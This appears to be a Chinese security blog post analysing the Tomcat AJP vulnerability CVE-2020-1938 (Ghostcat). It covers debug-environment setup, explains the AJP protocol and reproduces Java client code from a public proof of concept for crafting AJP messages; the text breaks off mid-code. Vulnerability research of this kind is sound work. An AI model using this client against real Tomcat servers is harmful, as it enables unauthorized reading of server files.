原创 <span>Glassy​</span> <span>2020-02-24 21:42</span> <span style="display: inline-block;"></span>
</p>

<p>最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a6e19de2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VLzyRzN3iah0UIDvicaLJxldrVtg6bocyrh8libIXYqicGjicY08DgCaIzFQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><span style="font-size: 14px;">**author:Glassy@平安银行应用安全团队**</span></p><p><span style="font-size: 14px;"><br/></span></p><section mpa-from-tpl="t"><section data-id="94709" mpa-from-tpl="t"><section data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-autoskip="1" mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-paragraph-type="title" mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="94709" mpa-from-tpl="t"><section style="width: 100%;" data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZVWLqKWYqToBBoLTeNc2NmkjKzNXvPpA9RuZkhnELwGqocSCgD9vvWqQ51pZc1oVmfcCYapXyT8w/640&#34;)repeat-y;background-position:left top;background-size:6px;"><section data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(63, 62, 63);padding: 0px 1em;" mpa-from-tpl="t"><p mpa-is-content="t">最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。<br/></p></section></section></section></section></section></section></section></section></section></section></section></section></section></section><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_t_042&#39;)" mpa-from-tpl="t"><section mpa-from-tpl="t"><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_t_042&#39;)" mpa-from-tpl="t"><section mpa-from-tpl="t"><br/></section><section mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section data-id="89793" mpa-from-tpl="t"><section data-id="us494712" mpa-from-tpl="t"><section data-width="100%" mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><strong>环境搭建</strong></section></section><section mpa-from-tpl="t"><img data-ratio="0.017699115044247787" data-width="100%" data-w="113" src="https://wechat2rss.xlab.app/img-proxy/?k=ba966a3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iabwjyojLhA03PtxUnkNPREnRSuibrJiaGUHuduVWDJOnRXXh0Buo34iaoVxKoVfIZAcm3dcNg7fyh1BQ%2F640"/></section></section></section></section></section></section></section></section></section></section></section><section style="margin-top: 5px;"><span style="font-size: 14px;">这里使用的是tomcat8.0.52的测试环境，因为tomcat默认开启AJP协议，所以我们这边只需要配置好tomcat的远程debug环境就行。</span><br/></section></section></section></section></section></section></section></section></section><p><br/></p><p><span style="font-size: 14px;">1、找到catalina.sh去定义一下远程调试端口，我这里就使用了默认的5005端口。</span></p><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">``` sh</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> [ -z <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$JPDA_ADDRESS</span>&#34;</span> ]; <span class="code-snippet__keyword">then</span></span></code><code><span class="code-snippet_outer">    JPDA_ADDRESS=<span class="code-snippet__string">&#34;localhost:5005&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">fi</span></span></code><code><span class="code-snippet_outer">```</span></code></pre></section><p><span style="font-size: 14px;"></span><br/></p><p><span style="font-size: 14px;">2、以调试模式开启tomcat，这里不推荐直接改动tomcat的默认启动模式，否则以后都会默认开启调试模式，因此推荐直接以调试模式开启tomcat。</span></p><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__string">``</span><span class="code-snippet__string">` sh</span></span></code><code><span class="code-snippet_outer">sh catalina.sh jpda start</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">`</span><span class="code-snippet__string">``</span></span></code></pre></section><p><span style="font-size: 14px;"></span><br/></p><p><span style="font-size: 14px;">3、在idea的lib里导入tomcat的jar包，tomcat的jar都放在lib目录下，直接把lib都导进来就行。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.668488160291439" data-s="300,640" style="" data-type="jpeg" data-w="1098" src="https://wechat2rss.xlab.app/img-proxy/?k=f4ba705a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VXoNoTDQfpZz9yb1icic1nJtYwXuuMHB0kohHqwicsepjlibo8kYbgpvyQw%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;">接下来在idea里开启tomcat的远程调试环境就部署完成。</span></p><p><br/></p><p><span style="font-size: 14px;">AJP（Apache JServ Protocol）是定向包协议。</span><span style="font-size: 14px;">它的功能其实和HTTP协议相似，区别在于AJP协议使用的是二进制格式传输文本，走的是TCP协议来SERVLET容器进行通信，因此漏洞的利用就需要依赖于一个客户端，而不能依赖于浏览器或是HTTP的抓包工具。</span></p><p><br/></p><p><span style="font-size: 14px;">因为是java的漏洞，因此但从网上的py的poc很难看出AJP协议相关的很多东西，所以这里我们再去看一下用于发送AJP消息的java的客户端代码。</span><span style="font-size: 14px;">客户端代码引自[0nise的GitHub](<a href="https://github.com/0nise/CVE-2020-1938)。" target="_blank">https://github.com/0nise/CVE-2020-1938)。</a></span></p><p><br/></p><section style="margin-bottom: 5px;"><span style="font-size: 14px;">目录结构如下，因为代码需要依赖tomcat本身的AJP相关jar包，所以也要加入tomcat的lib，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5918918918918918" data-s="300,640" style="" data-type="jpeg" data-w="740" src="https://wechat2rss.xlab.app/img-proxy/?k=bfce9e3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VgCQo7mUhHhAQWx2FXDwj22VaAhnJpWs4PtFTxqDYnEQsDdymjrN91A%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">``` java</span></code><code><span class="code-snippet_outer">file:TesterAjpMessage.java</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.glassy.utility;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.ArrayList;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.LinkedHashMap;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.List;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Map;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Map.Entry;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.coyote.ajp.AjpMessage;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.coyote.ajp.Constants;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.juli.logging.Log;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.juli.logging.LogFactory;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">TesterAjpMessage</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AjpMessage</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> Map&lt;String, String&gt; attribute = <span class="code-snippet__keyword">new</span> LinkedHashMap();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> List&lt;Header&gt; headers = <span class="code-snippet__keyword">new</span> ArrayList();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> Log log = LogFactory.getLog(AjpMessage.class);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Header</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">int</span> code;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> String name;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> String value;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Header</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> code, String value)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.code = code;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.name = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.value = value;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Header</span><span class="code-snippet__params">(String name, String value)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.code = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.name = name;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.value = value;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">append</span><span class="code-snippet__params">(TesterAjpMessage message)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.code == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                message.appendString(<span class="code-snippet__keyword">this</span>.name);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                message.appendInt(<span class="code-snippet__keyword">this</span>.code);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            message.appendString(<span class="code-snippet__keyword">this</span>.value);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">TesterAjpMessage</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> packetSize)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>(packetSize);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] raw() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.buf;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">appendString</span><span class="code-snippet__params">(String str)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (str == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            log.error(sm.getString(<span class="code-snippet__string">&#34;ajpmessage.null&#34;</span>), <span class="code-snippet__keyword">new</span> NullPointerException());</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.appendInt(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.appendByte(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> len = str.length();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.appendInt(len);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; len; ++i) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">char</span> c = str.charAt(i);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (c &lt;= <span class="code-snippet__number">31</span> &amp;&amp; c != <span class="code-snippet__string">&#39;\t&#39;</span> || c == <span class="code-snippet__number">127</span> || c &gt; <span class="code-snippet__number">255</span>) {</span></code><code><span class="code-snippet_outer">                    c = <span class="code-snippet__string">&#39; &#39;</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.appendByte(c);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.appendByte(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span> <span class="code-snippet__title">readByte</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] bArr = <span class="code-snippet__keyword">this</span>.buf;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> i = <span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.pos = i + <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> bArr[i];</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">readInt</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] bArr = <span class="code-snippet__keyword">this</span>.buf;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> i = <span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.pos = i + <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> val = (bArr[i] &amp; <span class="code-snippet__number">255</span>) &lt;&lt; <span class="code-snippet__number">8</span>;</span></code><code><span class="code-snippet_outer">        bArr = <span class="code-snippet__keyword">this</span>.buf;</span></code><code><span class="code-snippet_outer">        i = <span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.pos = i + <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> val + (bArr[i] &amp; <span class="code-snippet__number">255</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">readString</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> readString(readInt());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">readString</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> len)</span> </span>{</span></code><code><span class="code-snippet_outer">        StringBuilder buffer = <span class="code-snippet__keyword">new</span> StringBuilder(len);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; len; i++) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] bArr = <span class="code-snippet__keyword">this</span>.buf;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> i2 = <span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.pos = i2 + <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            buffer.append((<span class="code-snippet__keyword">char</span>) bArr[i2]);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        readByte();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> buffer.toString();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">readHeaderName</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> b = readByte();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ((b &amp; <span class="code-snippet__number">255</span>) == <span class="code-snippet__number">160</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> Constants.getResponseHeaderForCode(readByte());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> readString(((b &amp; <span class="code-snippet__number">255</span>) &lt;&lt; <span class="code-snippet__number">8</span>) + (getByte() &amp; <span class="code-snippet__number">255</span>));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addHeader</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> code, String value)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.headers.add(<span class="code-snippet__keyword">new</span> Header(code, value));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addHeader</span><span class="code-snippet__params">(String name, String value)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.headers.add(<span class="code-snippet__keyword">new</span> Header(name, value));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addAttribute</span><span class="code-snippet__params">(String name, String value)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.attribute.put(name, value);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">end</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        appendInt(<span class="code-snippet__keyword">this</span>.headers.size());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Header header : <span class="code-snippet__keyword">this</span>.headers) {</span></code><code><span class="code-snippet_outer">            header.append(<span class="code-snippet__keyword">this</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Entry&lt;String, String&gt; entry : <span class="code-snippet__keyword">this</span>.attribute.entrySet()) {</span></code><code><span class="code-snippet_outer">            appendByte(<span class="code-snippet__number">10</span>);</span></code><code><span class="code-snippet_outer">            appendString((String) entry.getKey());</span></code><code><span class="code-snippet_outer">            appendString((String) entry.getValue());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        appendByte(<span class="code-snippet__number">255</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.len = <span class="code-snippet__keyword">this</span>.pos;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> dLen = <span class="code-snippet__keyword">this</span>.len - <span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.buf[<span class="code-snippet__number">0</span>] = (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">18</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.buf[<span class="code-snippet__number">1</span>] = (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">52</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.buf[<span class="code-snippet__number">2</span>] = (<span class="code-snippet__keyword">byte</span>) ((dLen &gt;&gt;&gt; <span class="code-snippet__number">8</span>) &amp; <span class="code-snippet__number">255</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.buf[<span class="code-snippet__number">3</span>] = (<span class="code-snippet__keyword">byte</span>) (dLen &amp; <span class="code-snippet__number">255</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">reset</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.reset();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.headers.clear();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">```</span></code></pre></section><p><span style="font-size: 14px;">这个TesterAjpMessage.java文件就是一个tomcat本身用来处理AJP协议信息的AjpMessage类的子类，因为AjpMessage只支持发送bytes信息的缘故，代码丰富了TesterAjpMessage子类，使我们在构造客户端的时候支持appendString以及对Header的相关操作，更加方便。</span></p><p><span style="font-size: 14px;"></span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">``` java</span></code><code><span class="code-snippet_outer">file:SimpleAjpClient.java</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.InputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.net.Socket;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Arrays;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.net.SocketFactory;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">SimpleAjpClient</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">byte</span>[] AJP_CPING;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">int</span> AJP_PACKET_SIZE = <span class="code-snippet__number">8192</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> String host = <span class="code-snippet__string">&#34;localhost&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">int</span> port = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Socket socket = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> {</span></code><code><span class="code-snippet_outer">        TesterAjpMessage ajpCping = <span class="code-snippet__keyword">new</span> TesterAjpMessage(<span class="code-snippet__number">16</span>);</span></code><code><span class="code-snippet_outer">        ajpCping.reset();</span></code><code><span class="code-snippet_outer">        ajpCping.appendByte(<span class="code-snippet__number">10</span>);</span></code><code><span class="code-snippet_outer">        ajpCping.end();</span></code><code><span class="code-snippet_outer">        AJP_CPING = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[ajpCping.getLen()];</span></code><code><span class="code-snippet_outer">        System.arraycopy(ajpCping.getBuffer(), <span class="code-snippet__number">0</span>, AJP_CPING, <span class="code-snippet__number">0</span>, ajpCping.getLen());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">getPort</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.port;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span 